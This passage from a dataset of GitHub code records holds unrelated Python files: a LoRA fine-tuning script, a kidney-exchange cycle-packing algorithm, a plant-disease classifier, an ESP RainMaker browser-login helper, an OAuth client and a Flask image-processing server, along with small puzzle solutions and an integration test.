#AutoTokenizer,\n Trainer,\n TrainingArguments,\n #default_data_collator,\n DataCollatorForLanguageModeling\n)\n\nimport config as cfg\nfrom util.model_utils import get_tokenizer\nfrom util.model_utils import load_pretrained_model, load_pretrained_model_in_8bit, prepare_peft_model_for_training\n\nif __name__ == \"__main__\":\n \"\"\"\n # Set up the metric\n rouge = evaluate.load(\"rouge\")\n\n def compute_metrics(eval_preds):\n labels_ids = eval_preds.label_ids\n pred_ids = eval_preds.predictions\n pred_str = tokenizer.batch_decode(pred_ids, skip_special_tokens=True)\n label_str = tokenizer.batch_decode(labels_ids, skip_special_tokens=True)\n result = rouge.compute(predictions=pred_str, references=label_str)\n return result\n\n # Create a preprocessing function to extract out the proper logits from the model output\n def preprocess_logits_for_metrics(logits, labels):\n if isinstance(logits, tuple):\n logits = logits[0]\n return logits.argmax(dim=-1)\n \"\"\"\n\n print(\"Load dataset and tokenize...\")\n\n \"\"\"\n tokenizer = AutoTokenizer.from_pretrained(cfg.PT_MODEL)\n tokenizer.pad_token = tokenizer.eos_token\n model.resize_token_embeddings(len(tokenizer))\n tokenizer.pad_token_id = tokenizer.eos_token_id\n model.config.end_token_id = tokenizer.eos_token_id\n model.config.pad_token_id = model.config.eos_token_id\n \"\"\"\n tokenizer = get_tokenizer(cfg.PT_MODEL)\n\n # TODO: can we access summarization data in batch???\n # Set up the datasets\n train_posts = create_summarization_dataset(cfg.SUMMARIZATION_DATASET, 10000, \"train\")\n train_dataset = TLDRDataset(\n train_posts,\n tokenizer,\n max_length=cfg.MAX_SUM_LEN,\n )\n \"\"\"\n valid_posts = create_summarization_dataset(cfg.SUMMARIZATION_DATASET, 1000, \"valid\")\n valid_dataset = TLDRDataset(\n valid_posts,\n tokenizer,\n max_length=cfg.MAX_SUM_LEN,\n )\n \"\"\"\n\n print(\"Prepare PEFT model...\")\n\n # load pretrained model in int8 precision and fine tune using low rank adaption\n #model = AutoModelForCausalLM.from_pretrained(cfg.PT_MODEL, use_cache=False)\n #pretrained_model = load_pretrained_model_in_8bit(cfg.PT_MODEL)\n pretrained_model = load_pretrained_model(cfg.PT_MODEL)\n peft_model = prepare_peft_model_for_training(pretrained_model)\n\n print(\"Fine tuning...\")\n\n output_dir = cfg.SFT_CKPT_DIR\n\n # Prepare the trainer and start training\n training_args = TrainingArguments(\n output_dir=output_dir,\n #fp16=True,\n bf16=True,\n half_precision_backend=\"cuda_amp\",#\"apex\",\n ### train\n num_train_epochs=1,# 3,\n warmup_steps=100,# lr scheduler\n gradient_accumulation_steps=cfg.SFT_GRAD_ACCU,\n # If True, use gradient checkpointing to save memory at the expense of slower backward pass.\n # gradient_checkpointing=True,\n ### evaluation\n # evaluation_strategy=\"steps\",\n # eval_steps=500,\n # eval_accumulation_steps=1,\n #load_best_model_at_end=True,\n ### logging\n #logging_dir=\"./logs\",# output_dir/runs/..., by default\n logging_steps=50,\n report_to=None# \"none\",\n # deepspeed=cfg.SFT_DS_CFG\n )\n training_args.set_dataloader(\n train_batch_size=cfg.SFT_TRAIN_MINI_BATCH_SIZE,#=per_device_train_batch_size\n #eval_batch_size=1,#=per_device_eval_batch_size\n num_workers=4,\n pin_memory=True,\n )\n training_args.set_optimizer(\n name=\"adamw_hf\",#\"adamw_apex_fused\",\n learning_rate=2e-5,# initial learning rate, learning rate changes according to lr scheduler during train\n # beta1=0.9,\n # beta2=0.95,\n )\n training_args.set_save(\n strategy=\"steps\",\n steps=50, # 1000,\n total_limit=1,\n )\n\n trainer = Trainer(\n model=peft_model,\n args=training_args,\n train_dataset=train_dataset,\n #eval_dataset=valid_dataset,\n #compute_metrics=compute_metrics,\n #data_collator=default_data_collator,\n #preprocess_logits_for_metrics=preprocess_logits_for_metrics,\n data_collator=DataCollatorForLanguageModeling(tokenizer, mlm=False)\n )\n peft_model.config.use_cache = False\n trainer.train()\n \"\"\"\n with torch.autocast(\"cuda\"):\n trainer.train()\n \"\"\"\n model_dir = cfg.SFT_MODEL_DIR\n print(\"Save sft model's adapter layers to directory %s\" % model_dir)\n peft_model.save_pretrained(model_dir)\n","repo_name":"knowledgehacker/trlx-examples","sub_path":"train_sft.py","file_name":"train_sft.py","file_ext":"py","file_size_in_byte":4696,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"34663774126","text":"import doctest\n\nimport numpy as np\n\nimport networkx as nx\nfrom networkx.algorithms import cycles\n\n\"\"\"REUT HADAD & TAL SOMECH\"\"\"\n\n\"\"\"\nThis is an implementation for two different algorithms described on \"MAXIMUM WEIGHT CYCLE PACKING IN DIRECTED GRAPHS,\nWITH APPLICATION TO KIDNEY EXCHANGE PROGRAMS\" article.\nThe article points on two algorithms that solves kidney exchange problems, which can be modelled as cycle packing\nproblems in a directed graph, involving cycles of length 2, 3, or even longer.\nIn the article we focus on the maximal exchange of circles of size 2 and 3 vertices, we demonstrate an approximation\nalgorithm and an exact algorithm for this problem.\n\"\"\"\n\"\"\"article title: MAXIMUM WEIGHT CYCLE PACKING IN DIRECTED GRAPHS,WITH APPLICATION TO KIDNEY EXCHANGE PROGRAMS\nauthors:Biro, P. and Manlove, D.F. and Rizzi, R.\nyear:(2009)\nlink:http://eprints.gla.ac.uk/25732/\n\"\"\"\n\n\ndef maximum_weight_cycle_packing(graph: nx.DiGraph, k: int) -> list:\n \"\"\"\n Algorithm - the algorithm finds the exact maximum weight k-way exchanges using reduction from directed graph to non directed\n graph\n \"Algorithm 2 - Exact algorithm for kidney exchange programs\" by Biro, P. and Manlove, D.F. and Rizzi, R.\n Returns the list of max weighted exchanges of directed weighted graph 'G'\n A directed weighted graph is a graph in which every edge is one sided and weighted\n for example an edge from node 1->2 with a weight of 5,an k-way exchange\n is a circle within a graph containing at most k nodes.\n max weighted exchange is a circle with the most weighted edges from every node in the circle\n Parameters\n -----------\n G : NetworkX DiGraph\n Directed graph with weights\n Returns\n -----------\n Lst: list of lists\n Each list in lst contaning the nodes which make up the circle with the highest weights sum\n Examples\n -----------\n >>> Digraph=nx.DiGraph()\n >>> Digraph.add_nodes_from([1,2,3,5,6,7,8])\n >>> Digraph.add_weighted_edges_from([(1,8,2),(8,1,4),(2,1,5),(1,3,4),(3,8,2),(8,2,3),(8,5,4),(5,7,3),(7,6,2),(6,5,4)])\n >>> print(len(maximum_weight_cycle_packing(Digraph,3))) #[1,8,2] [6,5,7] [1,3,8] , can be only 2 but in any order\n 2\n >>> Digraph =nx.DiGraph()\n >>> Digraph.add_nodes_from([1,2,3,4])\n >>> Digraph.add_weighted_edges_from([(2,1,3),(1,3,1),(3,2,2),(3,4,5),(4,3,9)])\n >>> print(len(maximum_weight_cycle_packing(Digraph,2)))#[3,4] or [4,3]\n 1\n >>> graphEX3 = nx.DiGraph()\n >>> graphEX3.add_nodes_from([10,11,12,13,14,15,16])\n >>> Digraph.add_weighted_edges_from([(10,11,10),(11,12,5),(12,13,6),(13,10,4),(11,14,2),(14,16,3),(16,15,8),(15,14,6)])\n >>> print(maximum_weight_cycle_packing(graphEX3, 3))\n []\n\n Notes\n -----------\n Algorithm - the algorithm finds maximum weight k-way exchanges using reduction from directed graph to not directed graph by\n the algorithm in the published article Exact-complete algorithm for kidney exchange programs\"\n Refrences\n ----------\n Algorithm 1 - 'MAXIMUM WEIGHT CYCLE PACKING IN DIRECTED GRAPHS, WITH APPLICATION TO KIDNEY EXCHANGE PROGRAMS' by Biro, P. and Manlove, D.F. and Rizzi, R. http://eprints.gla.ac.uk/25732/\n \"\"\"\n\n Ys, cycles = create_Ys(graph, k)\n\n X = [] # dict()\n max_cycles = []\n max_weight = 0\n seen_Y = set()\n max_graph = nx.Graph()\n for Y in Ys:\n ans_graph = nx.Graph()\n # creating the nodes in the graph graph\n # adding the nodes in the graph\n for edge in Y:\n ans_graph.add_node((edge[0], edge[1]))\n seen_Y.add(edge[0])\n seen_Y.add(edge[1])\n if (edge[0], edge[1]) in graph.edges and (edge[1], edge[0]) in graph.edges:\n weight = (\n graph.get_edge_data(edge[0], edge[1])[\"weight\"]\n + graph.get_edge_data(edge[1], edge[0])[\"weight\"]\n )\n ans_graph.add_edge(\n (edge[0], edge[1]),\n (edge[0], edge[1]),\n weight=weight,\n cycle=[edge[0], edge[1]],\n )\n for edge in graph.edges:\n if edge[0] not in seen_Y and edge[0] not in X:\n X.append(edge[0])\n ans_graph.add_node(edge[0])\n connect_2cycles(X, graph, ans_graph)\n connect_3cycles(X, Y, graph, ans_graph)\n exchanges = list(nx.max_weight_matching(ans_graph))\n if (\n len(exchanges) == 0 and ans_graph.number_of_edges() == 1\n ): # for the use-case of only self connected edge\n exchanges = [list(ans_graph.edges)[0]]\n temp_max = 0\n for cyc in exchanges:\n temp_max = temp_max + ans_graph.get_edge_data(cyc[0], cyc[1])[\"weight\"]\n if temp_max > max_weight:\n max_weight = temp_max\n max_cycles = exchanges\n max_graph = ans_graph.copy()\n\n result = [] # exctract only the cycles\n for cyc in max_cycles:\n cycle = max_graph.get_edge_data(cyc[0], cyc[1])[\"cycle\"]\n result.append(cycle)\n\n return result # exchanges\n\n\ndef connect_2cycles(X, graph, ans_graph):\n for i in range(\n len(X)\n ): # creating the edges in the graph by going through the 2-circles\n for j in range(i + 1, len(X)):\n if (X[i], X[j]) in graph.edges and (X[j], X[i]) in graph.edges:\n weight = (\n graph.get_edge_data(X[i], X[j])[\"weight\"]\n + graph.get_edge_data(X[j], X[i])[\"weight\"]\n )\n ans_graph.add_edge((X[i]), (X[j]), weight=weight, cycle=[X[i], X[j]])\n\n\ndef connect_3cycles(X, Y, graph, ans_graph):\n # creating the edges in the graph by going through the 3-circles\n for k in range(len(X)):\n for j, l in Y: # This deals with the normal case of Yi,j Xk\n if (l, X[k]) in graph.edges and (\n X[k],\n j,\n ) in graph.edges: # [j, l, X[k]] in cycles:\n weight = (\n graph.get_edge_data(j, l)[\"weight\"]\n + graph.get_edge_data(l, X[k])[\"weight\"]\n + graph.get_edge_data(X[k], j)[\"weight\"]\n )\n ans_graph.add_edge((X[k]), (j, l), weight=weight, cycle=[j, l, X[k]])\n\n\ndef simple_cycles(G, limit):\n \"\"\"\n >>> Digraph=nx.DiGraph()\n >>> Digraph.add_nodes_from([1,2,3,5,6,7,8])\n >>> Digraph.add_weighted_edges_from([(1,8,2),(8,1,4),(2,1,5),(1,3,4),(3,8,2),(8,2,3),(8,5,4),(5,7,3),(7,6,2),(6,5,4)])\n >>> Ys=list(simple_cycles(Digraph,3))\n >>> print(Ys)\n [[8, 2, 1], [8, 1, 3], [8, 1], [5, 7, 6]]\n >>> Digraph =nx.DiGraph()\n >>> Digraph.add_nodes_from([1,2,3,4])\n >>> Digraph.add_weighted_edges_from([(2,1,3),(1,3,1),(3,2,2),(3,4,5),(4,3,9)])\n >>> Ys=list(simple_cycles(Digraph,3))\n >>> print(Ys)\n [[1, 3, 2], [3, 4]]\n >>> graphEX3 = nx.DiGraph()\n >>> graphEX3.add_nodes_from([10,11,12,13,14,15,16])\n >>> graphEX3.add_weighted_edges_from([(10,11,10),(11,12,5),(12,13,6),(13,10,4),(11,14,2),(14,16,3),(16,15,8),(15,14,6)])\n >>> Ys=list(simple_cycles(graphEX3,3))\n >>> print(Ys)\n [[16, 15, 14]]\n >>> graphEX3 =nx.DiGraph()\n >>> graphEX3.add_nodes_from([1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20])\n >>> graphEX3.add_weighted_edges_from(\n ... [(1, 6, 11), (6, 1, 10), (1, 5, 3), (5, 1, 2), (8, 9, 11), (9, 8, 20), (3, 2, 6), (2, 6, 5), (6, 3, 8),\n ... (5, 7, 6), (7, 4, 11), (4, 5, 5), (10, 16, 1), (16, 11, 10), (11, 15, 3), (15, 11, 2), (18, 19, 11),\n ... (19, 18, 20), (13, 12, 6), (12, 16, 5), (16, 13, 8)])\n >>> Ys=list(simple_cycles(graphEX3,3))\n >>> print(Ys)\n [[18, 19], [16, 13, 12], [11, 15], [8, 9], [1, 5], [1, 6], [4, 5, 7], [2, 6, 3]]\n \"\"\"\n subG = type(G)(G.edges())\n sccs = list(nx.strongly_connected_components(subG))\n while sccs:\n scc = sccs.pop()\n startnode = scc.pop()\n path = [startnode]\n blocked = set()\n blocked.add(startnode)\n stack = [(startnode, list(subG[startnode]))]\n\n while stack:\n thisnode, nbrs = stack[-1]\n if nbrs and len(path) <= limit:\n nextnode = nbrs.pop()\n if nextnode == startnode:\n yield path[:]\n elif nextnode not in blocked:\n path.append(nextnode)\n stack.append((nextnode, list(subG[nextnode])))\n blocked.add(nextnode)\n continue\n if not nbrs or len(path) >= limit:\n blocked.remove(thisnode)\n stack.pop()\n path.pop()\n subG.remove_node(startnode)\n H = subG.subgraph(scc)\n sccs.extend(list(nx.strongly_connected_components(H)))\n\n\ndef create_Ys(graph, k):\n \"\"\"This function is used to create the cartesian product of the 3-cycles\n >>> Digraph=nx.DiGraph()\n >>> Digraph.add_nodes_from([1,2,3,5,6,7,8])\n >>> Digraph.add_weighted_edges_from([(1,8,2),(8,1,4),(2,1,5),(1,3,4),(3,8,2),(8,2,3),(8,5,4),(5,7,3),(7,6,2),(6,5,4)])\n >>> Ys,_=create_Ys(Digraph,3)\n >>> print(len(Ys)) #- the known product is supposed to be composed of 27 permutation\n 27\n >>> Digraph =nx.DiGraph()\n >>> Digraph.add_nodes_from([1,2,3,4])\n >>> Digraph.add_weighted_edges_from([(2,1,3),(1,3,1),(3,2,2),(3,4,5),(4,3,9)])\n >>> print(len(create_Ys(Digraph,3))) #- the known product is supposed to be composed of 1 permutation\n 2\n \"\"\"\n temp_cycles = simple_cycles(graph, k) # nx.recursive_simple_cycles(graph)\n cycles = []\n for cycle in temp_cycles:\n if len(cycle) == k:\n cycles.append(cycle)\n perm_arr = np.ndarray(shape=(len(cycles), k), dtype=list)\n for cyc_idx in range(len(cycles)):\n cyc = cycles[cyc_idx]\n for ed_idx in range(len(cyc)):\n mid = (cyc[ed_idx], cyc[(ed_idx + 1) % len(cyc)])\n perm_arr[cyc_idx][ed_idx] = mid\n mesh = []\n if len(perm_arr) > 0:\n mesh = np.array(np.meshgrid(*perm_arr))\n mesh = mesh.T.reshape(-1, len(mesh))\n\n return mesh, cycles\n\n\n# Press the green button in the gutter to run the script.\nif __name__ == \"__main__\":\n # itertools.ne\n\n doctest.testmod()\n","repo_name":"TalSomech/MaxWeb","sub_path":"flask_example/algorithms/maximum_weight_cycle_packing.py","file_name":"maximum_weight_cycle_packing.py","file_ext":"py","file_size_in_byte":10259,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"34936303319","text":"import h5py\r\nimport numpy as np\r\nfrom tensorflow.keras.preprocessing import image\r\nimport tensorflow as tf\r\nfrom tensorflow import keras\r\nimport pickle\r\nimport streamlit as st\r\n\r\nmodel1 = keras.models.load_model('model_1.h5')\r\n\r\nmodel2 = keras.models.load_model('model_1.h5')\r\n\r\n\r\ndiseases = ['Potato___Hollow_Heart',\r\n 'Squash___Powdery_mildew',\r\n 'Apple___Apple_scab',\r\n 'Apple___Black_rot',\r\n 'Tomato___Late_blight',\r\n 'Strawberry___Leaf_scorch',\r\n 'Apple___Cedar_apple_rust',\r\n 'Apple___healthy',\r\n 'Tomato___Spider_mites Two-spotted_spider_mite',\r\n 'Tomato___Early_blight',\r\n 'Tomato___Tomato_mosaic_virus',\r\n 'Potato___Late_blight',\r\n 'Tomato___healthy',\r\n 'Grape___healthy',\r\n 'Grape___Black_rot',\r\n 'Pepper,_bell___healthy',\r\n 'Tomato___Canker',\r\n 'Corn_(maize)___healthy',\r\n 'Cherry_(including_sour)___Powdery_mildew',\r\n 'Cherry_(including_sour)___healthy',\r\n 'Grape___Leaf_blight_(Isariopsis_Leaf_Spot)',\r\n 'Peach___healthy',\r\n 'Soybean___healthy',\r\n 'Corn_(maize)___Northern_Leaf_Blight',\r\n 'Apple___Rotten',\r\n 'Corn_(maize)___Common_rust_',\r\n 'Tomato___Septoria_leaf_spot',\r\n 'Grape___Esca_(Black_Measles)',\r\n 'Orange___Haunglongbing_(Citrus_greening)',\r\n 'Tea__Black_rot',\r\n 'Potato___healthy',\r\n 'Pepper,_bell___Bacterial_spot',\r\n 'Peach___Bacterial_spot',\r\n 'Raspberry___healthy',\r\n 'Blueberry___healthy',\r\n 'Tea__Healthy',\r\n 'Tomato___Leaf_Mold',\r\n 'Tomato___Bacterial_spot',\r\n 'Corn_(maize)___Cercospora_leaf_spot Gray_leaf_spot',\r\n 'Ginger__Healthy',\r\n 'Tomato___Tomato_Yellow_Leaf_Curl_Virus',\r\n 'Tomato___Target_Spot',\r\n 'Strawberry___healthy',\r\n 'Potato___Early_blight']\r\n\r\nimage_path = \"TeaHealthy1.JPG\"\r\nnew_img =keras.utils.load_img(image_path, target_size=(256, 256))\r\nimg = keras.utils.img_to_array(new_img)\r\nimg = np.expand_dims(img, axis=0)\r\nimg = img/255\r\nprediction = model1.predict(img)\r\n#probabilty = prediction.flatten()\r\n#max_prob = probabilty.max()\r\nindex=prediction.argmax(axis=-1)[0]\r\nclass_name = diseases[index]\r\n#ploting image with predicted class name \r\n#plt.figure(figsize = (4,4))\r\n#plt.imshow(new_img)\r\n#plt.axis('off')\r\n#plt.title(class_name+\" \"+ str(max_prob)[0:4]+\"%\")\r\n#plt.show()\r\nimg_name = image_path.split('/')[-1][:-5]\r\nprint(\"Actual class name :\", img_name)\r\nprint(\"Predicted class name :\", class_name)\r\n\r\n\r\n\r\n\r\n","repo_name":"abhijeet3447/Plant-Disease-Detection","sub_path":"app1.py","file_name":"app1.py","file_ext":"py","file_size_in_byte":2274,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"1907582256","text":"class Solution(object):\n def numberOfArithmeticSlices(self, A):\n \"\"\"\n :type A: List[int]\n :rtype: int\n \"\"\"\n dp = [0] * len(A)\n for i in xrange(2, len(A)):\n if A[i] - A[i-1] == A[i-1] - A[i-2]:\n dp[i] = dp[i-1] + 1\n return sum(dp)\n","repo_name":"zqfan/leetcode","sub_path":"algorithms/413. Arithmetic Slices/solution2.py","file_name":"solution2.py","file_ext":"py","file_size_in_byte":308,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"44"} +{"seq_id":"16934225854","text":"# first party\nfrom delphi.epidata.common.integration_test_base_class import DelphiTestBase\n\n\nclass GhtTest(DelphiTestBase):\n \"\"\"Basic integration tests for ght endpint.\"\"\"\n\n def localSetUp(self):\n self.truncate_tables_list = [\"ght\"]\n self.role_name = \"ght\"\n\n def test_ght(self):\n \"\"\"Basic integration test for ght endpoint\"\"\"\n self.cur.execute(\n \"INSERT INTO `ght`(`query`, `location`, `epiweek`, `value`) VALUES(%s, %s, %s, %s)\",\n (\"/n/query\", \"US\", \"200101\", \"12345\"),\n )\n self.cnx.commit()\n response = self.epidata_client.ght(locations=\"US\", epiweeks=\"200101\", query=\"/n/query\", auth=\"ght_key\")\n self.assertEqual(\n response,\n {\"epidata\": [{\"location\": \"US\", \"epiweek\": 200101, \"value\": 12345.0}], \"result\": 1, \"message\": \"success\"},\n )\n","repo_name":"cmu-delphi/delphi-epidata","sub_path":"integrations/server/test_ght.py","file_name":"test_ght.py","file_ext":"py","file_size_in_byte":855,"program_lang":"python","lang":"en","doc_type":"code","stars":93,"dataset":"github-code","pt":"34"} +{"seq_id":"34920851671","text":"import webbrowser\nimport socket\nimport requests\nfrom oauth2client import _helpers\nfrom six.moves import BaseHTTPServer, http_client, urllib\nimport os\nimport sys\n\ntry:\n from rmaker_lib import serverconfig, configmanager\n from rmaker_lib.exceptions import SSLError, NetworkError\n from rmaker_lib.logger import log\nexcept ImportError as err:\n print(\"Failed to import ESP Rainmaker library. \" + str(err))\n raise err\n\n\nclass HttpdServer(BaseHTTPServer.HTTPServer):\n \"\"\"\n A server to handle requests on localhost.\n\n Waits for a single request and parses the query parameters\n and then stops serving.\n \"\"\"\n query_params = {}\n\n\nclass HttpdRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):\n \"\"\"\n A HTTP handler of requests on localhost.\n \"\"\"\n\n def do_GET(self):\n \"\"\"\n Handle a GET request and\n writes the ESP Rainmaker Welcome HTML page(response)\n back to HTTP Client\n\n :raises Exception: If there is any File Handling Issue\n\n :return: None on Success and Failure\n :rtype: None\n \"\"\"\n log.debug('Loading the welcome page after successful login.')\n self.send_response(http_client.OK)\n self.send_header('Content-type', 'text/html')\n self.send_header('Access-Control-Allow-Origin', '*')\n self.end_headers()\n parts = urllib.parse.urlparse(self.path)\n query = _helpers.parse_unique_urlencoded(parts.query)\n self.server.query_params = query\n index_file = os.path.join(os.path.expanduser('.'), 'html/welcome.html')\n\n try:\n with open(index_file, 'rb') as home_page:\n self.wfile.write(home_page.read())\n except Exception as file_err:\n log.error(file_err)\n sys.exit(1)\n\n def log_message(self, format, *args):\n \"\"\"\n Do not log messages to the command prompt.\n \"\"\"\n\n\ndef get_free_port():\n \"\"\"\n Get Free port\n\n :return: port on Success\n :rtype: int\n \"\"\"\n tcp = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n tcp.bind(('', 0))\n addr, port = tcp.getsockname()\n tcp.close()\n return port\n\n\ndef browser_login():\n \"\"\"\n Opens browser with login url using Httpd Server.\n\n :raises Exception: If there is an HTTP issue while\n logging in through browser\n\n :return: None on Success and Failure\n :rtype: None\n \"\"\"\n log.info('Logging in through browser')\n server_instance = None\n for attempt in range(10):\n try:\n port = get_free_port()\n server_instance = HttpdServer(('localhost', port),\n HttpdRequestHandler)\n # Added timeout to handle keyboard interrupts for browser login.\n server_instance.timeout = 0.5\n break\n except socket.error as err:\n log.warn('Error %s. Port %s is not available.'\n 'Trying with next port.', err, port)\n\n if server_instance is None:\n log.error('Error: Could not launch local webserver.'\n 'Use --email option instead.')\n return\n\n url = serverconfig.LOGIN_URL + str(port) +\\\n '&host_url=' + serverconfig.HOST + 'login' +\\\n '&github_url=' + serverconfig.EXTERNAL_LOGIN_URL +\\\n str(port)\n\n print('Opening browser window for login...')\n open_status = webbrowser.open(url)\n if open_status is False:\n log.error('Failed to open login page. Please try again.')\n return\n else:\n print('Use the browser for login. Press ctrl+C to abort.')\n log.debug('Web browser opened. Waiting for user login.')\n try:\n while True:\n server_instance.handle_request()\n if 'error' in server_instance.query_params:\n log.error('Authentication Error: \"%s\". Description: \"%s\" ' +\n server_instance.query_params['error'] +\n server_instance.query_params.ge('error_description'))\n return\n if 'code' in server_instance.query_params:\n log.debug('Login successful. Received authorization code.')\n code = server_instance.query_params['code']\n get_tokens(code)\n print('Login successful')\n return\n\n if 'id_token' in server_instance.query_params and \\\n 'refresh_token' in server_instance.query_params:\n log.debug('Login successful.'\n 'Received idtoken and refresh token.')\n config_data = {}\n config_data['idtoken'] = server_instance.query_params[\n 'id_token'\n ]\n config_data['refreshtoken'] = server_instance.query_params[\n 'refresh_token'\n ]\n config_data['accesstoken'] = server_instance.query_params[\n 'access_token'\n ]\n configmanager.Config().set_config(config_data)\n print('Login successful')\n return\n except Exception as browser_login_err:\n log.error(browser_login_err)\n\n\ndef get_tokens(code):\n \"\"\"\n Get access token and set the config file after successful browser login.\n\n :raises Exception: If there is an HTTP issue in getting access token\n :raises SystemExit: If Exception is raised\n\n :return: None on Success and Failure\n :rtype: None\n \"\"\"\n log.info('Getting access tokens using authorization code.')\n client_id = serverconfig.CLIENT_ID\n request_data = 'grant_type=authorization_code&client_id=' + client_id +\\\n '&code=' + code + '&redirect_uri=' +\\\n serverconfig.REDIRECT_URL\n\n request_header = {'content-type': 'application/x-www-form-urlencoded'}\n try:\n response = requests.post(url=serverconfig.TOKEN_URL,\n data=request_data,\n headers=request_header,\n verify=configmanager.CERT_FILE)\n response.raise_for_status()\n except requests.exceptions.SSLError:\n raise SSLError\n except requests.exceptions.ConnectionError:\n raise NetworkError\n except Exception as get_token_err:\n log.error(get_token_err)\n sys.exit(1)\n else:\n config_data = {}\n result = response.json()\n config_data['idtoken'] = result['id_token']\n config_data['refreshtoken'] = result['refresh_token']\n config_data['accesstoken'] = result['access_token']\n log.debug('Received access tokens using authorization code.')\n configmanager.Config().set_config(config_data)\n return\n","repo_name":"m5stack/Core2-for-AWS-IoT-Kit","sub_path":"Getting-Started/cli/rmaker_cmd/browserlogin.py","file_name":"browserlogin.py","file_ext":"py","file_size_in_byte":6996,"program_lang":"python","lang":"en","doc_type":"code","stars":121,"dataset":"github-code","pt":"34"} +{"seq_id":"28288826270","text":"import sys\nN, M = map(int, sys.stdin.readline().split())\ngraph = [list(map(int, sys.stdin.readline().split())) for _ in range(N)]\n\nmin_result = int(1e9)\n\n#집 위치 및 치킨 집 위치\nhouse = []\nchicken = []\nfor i in range(N):\n for j in range(N):\n if graph[i][j] == 1:\n house.append((i,j))\n elif graph[i][j] == 2:\n chicken.append((i,j))\n\n#도시의 치킨 거리가 가장 작게 되게 고르는 함수\nselect_chicken = []\ndef backtracking(start,count):\n global min_result\n #총 치킨 거리 도출\n if count == M:\n total_Distance = 0\n for hx, hy in house:\n Distance = int(1e9)\n for cx, cy in select_chicken:\n Distance = min(Distance,abs(hx-cx)+abs(hy-cy))\n total_Distance += Distance\n min_result = min(min_result, total_Distance)\n return\n #치킨 집 선택\n for i in range(start,len(chicken)):\n select_chicken.append(chicken[i])\n backtracking(i+1,count+1)\n select_chicken.pop()\n\nbacktracking(0,0)\nprint(min_result)","repo_name":"ComputerElectricElectronicJHLee/CodingTest_Algorithm","sub_path":"백준/Gold/15686. 치킨 배달/치킨 배달.py","file_name":"치킨 배달.py","file_ext":"py","file_size_in_byte":1073,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"34"} +{"seq_id":"17139731181","text":"import requests\nimport time\n\nclass SafraOAuth2:\n def __init__(self, base64credentials):\n self.base64credentials = base64credentials\n self.__connect()\n\n def __connect(self):\n form = {\n 'grant_type': 'client_credentials',\n 'scope': 'urn:opc:resource:consumer::all'\n }\n headers = {\n 'Authorization': 'Basic ' + self.base64credentials\n }\n self.connected_time = time.time()\n response = requests.post('https://idcs-902a944ff6854c5fbe94750e48d66be5.identity.oraclecloud.com/oauth2/v1/token', headers=headers, data=form)\n self.connected = response.status_code == 200\n if self.connected:\n access = response.json()\n self.access_type = access[\"token_type\"]\n self.access_token = access[\"access_token\"]\n self.expires_in = access[\"expires_in\"]\n\n def is_connected(self):\n elapsed_time = time.time() - self.connected_time\n if elapsed_time >= self.expires_in:\n self.connected = False\n return self.connected\n\n def get_token_type(self):\n if not self.is_connected():\n self.__connect()\n if self.is_connected():\n return self.access_type\n else:\n return None\n\n def get_token(self):\n if not self.is_connected():\n self.__connect()\n if self.is_connected():\n return self.access_token\n else:\n return None\n","repo_name":"marinatakii/easy-safra","sub_path":"oauth.py","file_name":"oauth.py","file_ext":"py","file_size_in_byte":1478,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"4571359767","text":"import io\nimport hashlib\nfrom urllib.request import urlopen\n\nfrom flask import Flask, request, send_file\nfrom wand.image import Image\nfrom wand.exceptions import WandException\n\nfrom storages import default_storage\nfrom caches import default_cache\nfrom handler import process_image\n\n\napp = Flask(__name__)\n\n\n@app.route('/')\ndef hello_world():\n return 'Hello, World!'\n\n\n@app.route('/image/', methods=['GET'])\ndef view_image(image_hash_and_operations):\n if '/' in image_hash_and_operations:\n image_hash, operations = image_hash_and_operations.split('/', 1)\n else:\n image_hash = image_hash_and_operations\n operations = None\n\n image = default_cache.get_image(image_hash, operations)\n if image:\n return send_file(io.BytesIO(image.make_blob()), mimetype=image.mimetype)\n\n image = default_storage.get_image(image_hash)\n if not image:\n return {\n 'status': 'error',\n 'message': 'image not found: {0}'.format(image_hash)\n }, 404\n\n if operations:\n image = process_image(image, operations)\n if not image:\n return {\n 'status': 'error',\n 'message': 'bad operations: {0}'.format(operations)\n }, 400\n default_cache.store_image(image, image_hash, operations)\n\n return send_file(io.BytesIO(image.make_blob()), mimetype=image.mimetype)\n\n\n@app.route('/upload', methods=['POST'])\ndef upload():\n if 'file' not in request.files:\n return {\n 'status': 'error',\n 'message': 'no file provided'\n }, 400\n\n f = request.files['file']\n\n try:\n with Image(file=f) as image:\n image_hash = default_storage.store_image(image)\n return {\n 'status': 'success',\n 'hash': image_hash\n }\n except WandException:\n return {\n 'status': 'error',\n 'message': 'image processing error'\n }, 400\n\n\n@app.route('/image/', methods=['DELETE'])\ndef delete_image(image_hash):\n default_cache.delete_image(image_hash)\n deleted = default_storage.delete_image(image_hash)\n if deleted:\n return {\n 'status': 'success'\n }\n else:\n return {\n 'status': 'error',\n 'message': 'file not found'\n }, 404\n\n\n@app.route('/external', methods=['GET'])\ndef external():\n url = request.args.get('url')\n operations = request.args.get('operations')\n assert url and operations\n\n reset_cache = request.args.get('reset_cache') == '1'\n image_hash = hashlib.sha1(url.encode('utf-8')).hexdigest()\n\n if not reset_cache:\n image = default_cache.get_image(image_hash, operations)\n if image:\n return send_file(io.BytesIO(image.make_blob()), mimetype=image.mimetype)\n\n response = urlopen(url)\n f = io.BytesIO(response.read())\n\n with Image(file=f) as image:\n if operations:\n image = process_image(image, operations)\n if not image:\n return {\n 'status': 'error',\n 'message': 'bad operations: {0}'.format(operations)\n }, 400\n default_cache.store_image(image, image_hash, operations)\n\n return send_file(io.BytesIO(image.make_blob()), mimetype=image.mimetype)\n","repo_name":"hypnocapybara/images-server","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3363,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"34"} +{"seq_id":"19299771594","text":"import numpy as 